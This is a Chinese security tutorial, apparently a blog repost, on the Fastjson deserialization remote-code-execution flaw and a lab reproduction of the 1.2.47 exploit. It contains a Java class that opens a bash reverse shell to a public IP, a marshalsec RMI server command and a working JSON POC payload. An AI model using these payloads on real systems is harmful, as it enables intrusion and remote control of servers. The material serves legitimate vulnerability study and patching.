网络安全深入学习第七课——热门框架漏洞(RCE— Fastjson反序列化漏洞)

news2024/11/23 23:58:36

文章目录

  • 一、什么是json?
  • 二、Fastjson介绍
  • 三、Fastjson-历史漏洞
  • 四、Fastjson特征
    • 1、在请求包里面有json格式的
    • 2、报错信息中会显示fastjson字眼
  • 五、Fastjson序列化和反序列化
  • 六、Fastjson反序列化漏洞原理
  • 七、Fastjson反序列化漏洞过程
  • 八、Fastjson反序列化漏洞(1.2.47)手工复现
    • 1、DNSlog验证漏洞是否存在
    • 2、编译class恶意文件
    • 3、在恶意文件所在的目录开启web服务
    • 4、在恶意文件所在的目录开启rmi服务
    • 5、监听反弹shell的端口
    • 6、返回前端,构造POC让受害者访问rmi的端口
  • 7、总结


一、什么是json?

json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。

举个简单的例子如下:

{ 
	"name":"BossFrank",
	"age":23, 
	"media":["CSDN","bilibili","Github"]
}

json本质就是一种字符串,用于信息的存储和交换。


二、Fastjson介绍

------ Fastjson 是一个阿里巴巴公司开源的 Java 语言编写的高性能功能完善的 JSON 库。可以将Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。

------ 它采用一种“假定有序快速匹配”的算法,把 JSON Parse 的性能提升到极致,是目前 Java 语言中最快的 JSON 库,并且它不依赖于其它任何库。Fastjson已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

  • 特点如下:
    1)能够支持将java bean序列化成JSON字符串,也能够将JSON字符串反序列化成Java bean。
    2)顾名思义,fastjson操作 JSON的速度是非常快的。
    3)无其他包的依赖。
    4)使用比较方便。

三、Fastjson-历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞


四、Fastjson特征

1、在请求包里面有json格式的

在请求包里面有json格式的,就极有可能使用了Fastjson,如下图
在这里插入图片描述
fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了

2、报错信息中会显示fastjson字眼

将请求方式改成post请求,再将content-type 请求头修改为application/json 后发送,让其报错,报错信息中会显示fastjson字眼的。
在这里插入图片描述


五、Fastjson序列化和反序列化

  • 假设Apple对象的price为0.5,序列化为json格式后为:
    {“Fruit”:{“price”:0.5}}
  • 假设iphone对象的price为5000,序列化为json格式后为:
    {“Fruit”:{“price”:5000}}

------ 当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。

------ 为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来,使用@type的键记录原始类型。

------ 在本例中,

  • 引入AutoType后,Apple类对象序列化为json格式后为:
    { “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.Apple”, “price”:0.5 } }
  • 引入AutoType后,iphone类对象序列化为json格式后为:
    { “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.iphone”, “price”:5000 } }

------ 这样在反序列化的时候就可以区分原始的类了。

------ 使用AutoType功能进行序列化的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。


六、Fastjson反序列化漏洞原理

------ FastJSON在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。

------ 攻击者准备rmi服务web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。


七、Fastjson反序列化漏洞过程

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!

  1. 攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
  2. 存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
  3. rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
  4. rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
  5. 靶机服务器执行了恶意代码,被攻击者成功利用。
  • 攻击流程:制作反弹EXP -> 开启HTTP服务 -> 启动LDAP服务 -> 监听EXP中端口 -> 执行Payload

八、Fastjson反序列化漏洞(1.2.47)手工复现

1、DNSlog验证漏洞是否存在

获取一个临时域名
在这里插入图片描述

构造POC发送
在这里插入图片描述

返回DNSlog查看
在这里插入图片描述

2、编译class恶意文件

首先存在一个Exp.java的恶意文件,需要将其编译成class文件
在这里插入图片描述

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
	static {
		try {
			Runtime rt = Runtime.getRuntime();
			String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/119.91.209.244/9090 0>&1"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e) {
			// do nothing
		}
	}
}

然后使用javac编译成Exp.class,命令是:javac Exp.java

3、在恶意文件所在的目录开启web服务

使用python开启web服务,端口是9100

python3 -m http.server 9100
或
python -m SimpleHTTPServer 9100

在这里插入图片描述
在这里插入图片描述

4、在恶意文件所在的目录开启rmi服务

  • 利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar

命令是:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://119.91.209.244:9100/#Exp" 9299

在这里插入图片描述

5、监听反弹shell的端口

这里的端口是恶意文件里面写的反弹端口,这里就是9090
在这里插入图片描述

6、返回前端,构造POC让受害者访问rmi的端口

1.2.47的POC:

{
"a":{
	"@type":"java.lang.Class",
	"val":"com.sun.rowset.JdbcRowSetImpl"
	},
"b":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://192.168.179.128:9999/TouchFile",
	"autoCommit":true
	}
}

在这里插入图片描述
在这里插入图片描述
这里就成功反弹shell了。


7、总结

------ Fastjson反弹shell操作和Log4j2反弹shell的操作类似,都是第2、3、4、5步都是在攻击者端操作,只有第6步是在普通前端操作。只不过一个开启的是ldap服务,另一个开启的是rmi服务。

------ 上面第6步使用的POC是对应1.2.47版本的POC,不同版本的POC是不同的。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1038240.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

农林种植类VR虚拟仿真实验教学整体解决方案

传统的葡萄嫁接需要在固定月份&#xff0c;实操成本高&#xff0c;管理周期长&#xff0c;葡萄嫁接VR虚拟仿真实训是VR虚拟仿真公司深圳华锐视点通过在虚拟环境中模拟葡萄嫁接过程&#xff0c;融入教学和实训考核多种模式&#xff0c;打造了全新的职业技能培训方式。 葡萄嫁接V…

【Java实战项目】【超详细过程】—— 大饼的图片服务器6

目录 前言一、引入MD51.引入md5计算依赖2.按照md5值查找图片属性3.存储图片4.删除图片 二、防盗链三、分类查看图片1.思路&#xff1a;2.数据库3.Image4.from表单5.ImageDao类中原有方法6.按照类型sort在数据库中查找图片属性7.ImageServlet 类8.ImageSortServlet类9.WEB.xml绑…

DevExpress WinForms图表组件 - 直观的数据信息呈现新方式!(一)

凭借界面控件DevExpress WinForms全面的2D和3D图表类型的集合&#xff0c;DevExpress WinForms的图表控件设计大大简化了开发者直观地向最终用户呈现信息的方式。 DevExpress WinForms有180组件和UI库&#xff0c;能为Windows Forms平台创建具有影响力的业务解决方案。同时能完…

[python 刷题] 739 Daily Temperatures

[python 刷题] 739 Daily Temperatures 题目&#xff1a; Given an array of integers temperatures represents the daily temperatures, return an array answer such that answer[i] is the number of days you have to wait after the ith day to get a warmer temperatur…

记一次实战案例

1、目标&#xff1a;inurl:news.php?id URL&#xff1a;https://www.lghk.com/news.php?id5 网站标题&#xff1a;趋时珠宝首饰有限公司 手工基础判断&#xff1a; And用法 and 11: 这个条件始终是为真的, 也就是说, 存在SQL注入的话, 这个and 11的返回结果必定是和正常页…

修改vscode底部栏背景和字体颜色

修改vscode底部栏背景和字体颜色 如图&#xff1a; 首先打开齿轮&#xff0c;打开设置搜索workbench.colorCustomizations,然后点击编辑setting.json修改setting.json内内容 "workbench.colorCustomizations": {"statusBar.foreground": "#FFFFFF…

为什么u盘在mac上显示不出来

插入U盘是个看似简单的操作&#xff0c;但有时候在Mac电脑上却出现了无法显示U盘的情况。这样的问题是非常让人头疼的&#xff0c;特别是当你急需使用U盘中的文件时。那么&#xff0c;究竟为什么U盘在Mac上会显示不出来呢&#xff1f;今天就让我们一起来深入了解一下这个问题&a…

OR54 字符串中找出连续最长的数字串

目录 一、题目 二、解答 &#xff08;一&#xff09;问题一&#xff1a;在记录完一组连续字符串后&#xff0c;没有注意判别紧随其后的非数字字符 &#xff08;二&#xff09;问题二&#xff1a;越界访问 &#xff08;三&#xff09;正确 一、题目 字符串中找出连续最长的…

powerDesigner 的基本使用

打开powerDesigner 新建 PDM(物理数据模型) 添加表字段 双击表&#xff0c;设置ID自增 选择导出数据库表SQL 导出成功 使用三方工具连接数据库&#xff0c;然后运行对应SQL文件即可 导入SQL文件数据到powerDesigner

Ae 效果:CC Tiler

扭曲/CC Tiler Distort/CC Tiler CC Tiler &#xff08;CC 平铺器&#xff09;主要用于将图像以平铺的方式重复显示&#xff0c;可以创建有趣的复制和平铺的视觉效果。 平铺的范围限制在图层大小。如果想在合成大小内进行平铺&#xff0c;最简单的方法是先将源图像&#xff08;…

【数据结构】逻辑结构与物理结构

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 根据视点的不同,我们把数据结构分为逻辑结构和物理结构. &#x1f333;逻辑结构 逻辑结构:是指数据对象中数据元素之间的相互关系. 逻辑结构分为以下四种: 1.集合结构 集合结…

计算机中实数的比较

计算机中实数的比较 最近被问到了实数与0为什么不能直接比较的问题&#xff0c;要想说清楚还真不容易。 这里从浮点数的表示、内存存储角度加以总结。 科学计数法 科学计数法表示十进制数的浮点数遵循了小数点前面只有一个数&#xff08;1~9&#xff09;的规则。 例如&…

python+nodejs+php+springboot+vue 法律知识分享科普系统平台

在设计过程中&#xff0c;充分保证了系统代码的良好可读性、实用性、易扩展性、通用性、便于后期维护、操作方便以及页面简洁等特点。 随着社会的发展&#xff0c;社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 要想实现法律知…

93 # 实现 express 错误处理中间件

上一节实现了 express 的中间件&#xff0c;这一节来实现错误处理中间件 执行某一步出错了&#xff0c;统一规定调用 next 传递的参数就是错误信息 先看 express 实现的demo const express require("express"); const app express();app.use("/", (re…

2023-09-23 Windows系统rust开发环境配置真经

Windows系统rust开发环境配置真经 前言一、配置C编译链和VsCode二、安装rust编译工具三、配置VsCode一. 安装rust-analyzer插件二. 安装Error Lens插件三. 安装Even Better TOML插件四. 配置 launch.json五. 配置 tasks.json六. 配置 Cargo.toml 总结 前言 有了配置C语言环境的…

腾讯mini项目-【指标监控服务重构】2023-08-27

今日已办 Docker Monitoring with cAdvisor, Prometheus and Grafana Docker Monitoring with cAdvisor, Prometheus and Grafana | by Mertcan Simsek | MediumMonitoring Docker container metrics using cAdvisor | Prometheus prometheus.yml global:scrape_interval: …

Linux下安装使用Redis

1.进入/usr/local目录&#xff0c;新建一个目录redis&#xff0c;下载redis安装包 wget https://download.redis.io/releases/redis-6.2.6.tar.gz**并解压 tar xzf redis-6.2.6.tar.gz进入redis-6.2.6目录 cd redis-6.2.6用make来编译 make2.启动redis: ./src/redis-server…

Vue-devTools安装—创建项目方法2 ui创建——Vue指令综合案例——汽车品牌管理

目录 项目源代码&#xff1a; 一、vue-devTools安装 二、案例功能实现 1、新建项目&#xff08;ui创建&#xff09; 2、cnpm导入项目依赖库 3、删除不需要的代码结构: 4、修改代码结构 5、添加汽车品牌 插件安装 bootstrap的提示功能 添加bootstrap样式 6、删除汽车品牌…

ndoe.js、npm相关笔记

1、npm 全局安装 npm config get prefix 获取 npm 全局安装路径如果全局插件不能正常使用&#xff0c;看环境变量是否已经配置。没有配置则把全局安装路径配置到环境变量的path中

【golang】调度系列之sysmon

调度系列 调度系列之goroutine 调度系列之m 调度系列之p 在golang的调度体系中&#xff0c;除了GMP本身&#xff0c;还有另外一个比较重要的角色sysmon。实际上&#xff0c;除了GMP和sysmon&#xff0c;runtime中还有一个全局的调度器对象。但该对象只是维护一些全局的数据&…